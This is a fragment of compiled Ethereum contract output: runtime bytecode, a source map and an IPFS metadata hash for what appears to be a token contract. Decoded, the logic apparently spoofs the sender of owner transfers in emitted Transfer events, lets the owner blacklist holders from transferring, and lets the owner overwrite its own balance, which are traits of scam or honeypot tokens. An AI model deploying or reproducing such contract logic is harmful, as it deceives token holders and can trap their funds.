1610e85565b820191906000526020600020905b815481529060010190602001808311610e6857829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361106957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f2f57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7d91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd29190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110589190611613565b60405180910390a36001905061121e565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661121d57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561110557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115391906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a89190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120c9190611613565b60405180910390a36001905061121e565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036112fc57600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361140357600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6003602052816000526040600020602052806000526040600020600091509150505481565b60006020528060005260406000206000915090505481565b600081519050919050565b600082825260208201905092915050565b60005b8381101561147d578082015181840152602081019050611462565b60008484015250505050565b6000601f19601f8301169050919050565b60006114a582611443565b6114af818561144e565b93506114bf81856020860161145f565b6114c881611489565b840191505092915050565b600060208201905081810360008301526114ed818461149a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611525826114fa565b9050919050565b6115358161151a565b811461154057600080fd5b50565b6000813590506115528161152c565b92915050565b6000819050919050565b61156b81611558565b811461157657600080fd5b50565b60008135905061158881611562565b92915050565b600080604083850312156115a5576115a46114f5565b5b60006115b385828601611543565b92505060206115c485828601611579565b9150509250929050565b60008115159050919050565b6115e3816115ce565b82525050565b60006020820190506115fe60008301846115da565b92915050565b61160d81611558565b82525050565b60006020820190506116286000830184611604565b92915050565b600080600060608486031215611647576116466114f5565b5b600061165586828701611543565b935050602061166686828701611543565b925050604061167786828701611579565b9150509250925092565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b6000602082840312156116ce576116cd6114f5565b5b60006116dc84828501611579565b91505092915050565b6000602082840312156116fb576116fa6114f5565b5b600061170984828501611543565b91505092915050565b60008060408385031215611729576117286114f5565b5b600061173785828601611543565b925050602061174885828601611543565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179957607f821691505b6020821081036117ac576117ab611752565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ec82611558565b91506117f783611558565b925082820390508181111561180f5761180e6117b2565b5b92915050565b600061182082611558565b915061182b83611558565b9250828201905080821115611843576118426117b2565b5b9291505056fea2646970667358221220783625f73a93b724d36bac058c887a3e378e526fce18cd0ef12f6f2b07276ced64736f6c63430008110033

1515:3366:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1754:59;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3353:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1912:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4217:663;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1879:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4092:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1590:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2502:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3825:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3715:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2653:135;;;:::i;:::-;;1820:52;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2802:539;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3574:129;;;:::i;:::-;;3939:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1673:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1545:38;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1754:59;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3353:209::-;3418:12;3480:5;3447:9;:21;3457:10;3447:21;;;;;;;;;;;;;;;:30;3469:7;3447:30;;;;;;;;;;;;;;;:38;;;;3522:7;3501:36;;3510:10;3501:36;;;3531:5;3501:36;;;;;;:::i;:::-;;;;;;;;3555:4;3548:11;;3353:209;;;;:::o;1912:66::-;;;;:::o;4217:663::-;4296:12;4335:13;;;;;;;;;;;4327:21;;:4;:21;;;4324:254;;4379:2;:8;4382:4;4379:8;;;;;;;;;;;;;;;;4370:5;:17;;4362:26;;;;;;4416:9;:15;4426:4;4416:15;;;;;;;;;;;;;;;:27;4432:10;4416:27;;;;;;;;;;;;;;;;4407:5;:36;;4399:45;;;;;;4467:5;4455:2;:8;4458:4;4455:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;4495:5;4485:2;:6;4488:2;4485:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;4543:2;4517:36;;4527:14;;;;;;;;;;;4517:36;;;4547:5;4517:36;;;;;;:::i;:::-;;;;;;;;4571:4;4564:11;;;;4324:254;4598:2;:8;4601:4;4598:8;;;;;;;;;;;;;;;;;;;;;;;;;4597:9;:20;;;;;4611:2;:6;4614:2;4611:6;;;;;;;;;;;;;;;;;;;;;;;;;4610:7;4597:20;4594:285;;;4647:2;:8;4650:4;4647:8;;;;;;;;;;;;;;;;4638:5;:17;;4630:26;;;;;;4684:9;:15;4694:4;4684:15;;;;;;;;;;;;;;;:27;4700:10;4684:27;;;;;;;;;;;;;;;;4675:5;:36;;4667:45;;;;;;4735:5;4723:2;:8;4726:4;4723:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;4761:5;4751:2;:6;4754:2;4751:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;4808:5;4777:9;:15;4787:4;4777:15;;;;;;;;;;;;;;;:27;4793:10;4777:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;4844:2;4829:25;;4838:4;4829:25;;;4848:5;4829:25;;;;;;:::i;:::-;;;;;;;;4872:4;4865:11;;;;4594:285;4217:663;;;;;;:::o;1879:26::-;;;;;;;;;;;;;:::o;4092:113::-;4152:13;;;;;;;;;;;4138:27;;:10;:27;;;4135:68;;4200:1;4180:5;:17;4186:10;4180:17;;;;;;;;;;;;;;;:21;;;;4135:68;4092:113;:::o;1590:41::-;;;;;;;;;;;;;;;;;:::o;2502:143::-;2587:5;;;;;;;;;;;2573:19;;:10;:19;;;2565:28;;;;;;2626:7;2605:37;;2622:1;2605:37;;;2635:6;2605:37;;;;;;:::i;:::-;;;;;;;;2502:143;;:::o;3825:104::-;3885:13;;;;;;;;;;;3871:27;;:10;:27;;;3868:60;;3921:5;3913:2;:5;3916:1;3913:5;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;3868:60;3825:104;:::o;3715:98::-;3772:7;3799:2;:11;3802:7;3799:11;;;;;;;;;;;;;;;;3792:18;;3715:98;;;:::o;2653:135::-;2718:5;;;;;;;;;;;2704:19;;:10;:19;;;2696:28;;;;;;2755:5;;;;;;;;;;;2736:25;;;;;;;;;;;;2784:1;2768:5;;:18;;;;;;;;;;;;;;;;;;2653:135::o;1820:52::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2802:539::-;2863:12;2922:13;;;;;;;;;;;2908:27;;:10;:27;;;2905:216;;2975:5;2957:2;:14;2960:10;2957:14;;;;;;;;;;;;;;;;:23;;2949:32;;;;;;3010:5;2992:2;:14;2995:10;2992:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;3038:5;3028:2;:6;3031:2;3028:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;3086:2;3060:36;;3070:14;;;;;;;;;;;3060:36;;;3090:5;3060:36;;;;;;:::i;:::-;;;;;;;;3114:4;3107:11;;;;2905:216;3137:2;:14;3140:10;3137:14;;;;;;;;;;;;;;;;;;;;;;;;;3133:207;;3190:5;3172:2;:14;3175:10;3172:14;;;;;;;;;;;;;;;;:23;;3164:32;;;;;;3225:5;3207:2;:14;3210:10;3207:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;3253:5;3243:2;:6;3246:2;3243:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;3305:2;3284:31;;3293:10;3284:31;;;3309:5;3284:31;;;;;;:::i;:::-;;;;;;;;3333:4;3326:11;;;;3133:207;2802:539;;;;;:::o;3574:129::-;3628:13;;;;;;;;;;;3614:27;;:10;:27;;;3611:91;;3673:5;:17;3679:10;3673:17;;;;;;;;;;;;;;;;3656:2;:14;3659:10;3656:14;;;;;;;;;;;;;;;:34;;;;3611:91;3574:129::o;3939:138::-;3998:13;;;;;;;;;;;3984:27;;:10;:27;;;3981:95;;4035:2;:5;4038:1;4035:5;;;;;;;;;;;;;;;;;;;;;;;;;4034:6;4026:15;;;;;;4060:4;4052:2;:5;4055:1;4052:5;;;;;;;;;;;;;;;;:12;;;;;;;;;;;;;;;;;;3981:95;3939:138;:::o;1673:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1545:38::-;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:474::-;5591:6;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;5523:474;;;;;:::o;6003:180::-;6051:77;6048:1;6041:88;6148:4;6145:1;6138:15;6172:4;6169:1;6162:15;6189:320;6233:6;6270:1;6264:4;6260:12;6250:22;;6317:1;6311:4;6307:12;6338:18;6328:81;;6394:4;6386:6;6382:17;6372:27;;6328:81;6456:2;6448:6;6445:14;6425:18;6422:38;6419:84;;6475:18;;:::i;:::-;6419:84;6240:269;6189:320;;;:::o;6515:180::-;6563:77;6560:1;6553:88;6660:4;6657:1;6650:15;6684:4;6681:1;6674:15;6701:194;6741:4;6761:20;6779:1;6761:20;:::i;:::-;6756:25;;6795:20;6813:1;6795:20;:::i;:::-;6790:25;;6839:1;6836;6832:9;6824:17;;6863:1;6857:4;6854:11;6851:37;;;6868:18;;:::i;:::-;6851:37;6701:194;;;;:::o;6901:191::-;6941:3;6960:20;6978:1;6960:20;:::i;:::-;6955:25;;6994:20;7012:1;6994:20;:::i;:::-;6989:25;;7037:1;7034;7030:9;7023:16;;7058:3;7055:1;7052:10;7049:36;;;7065:18;;:::i;:::-;7049:36;6901:191;;;;:::o

ipfs://783625f73a93b724d36bac058c887a3e378e526fce18cd0ef12f6f2b07276ced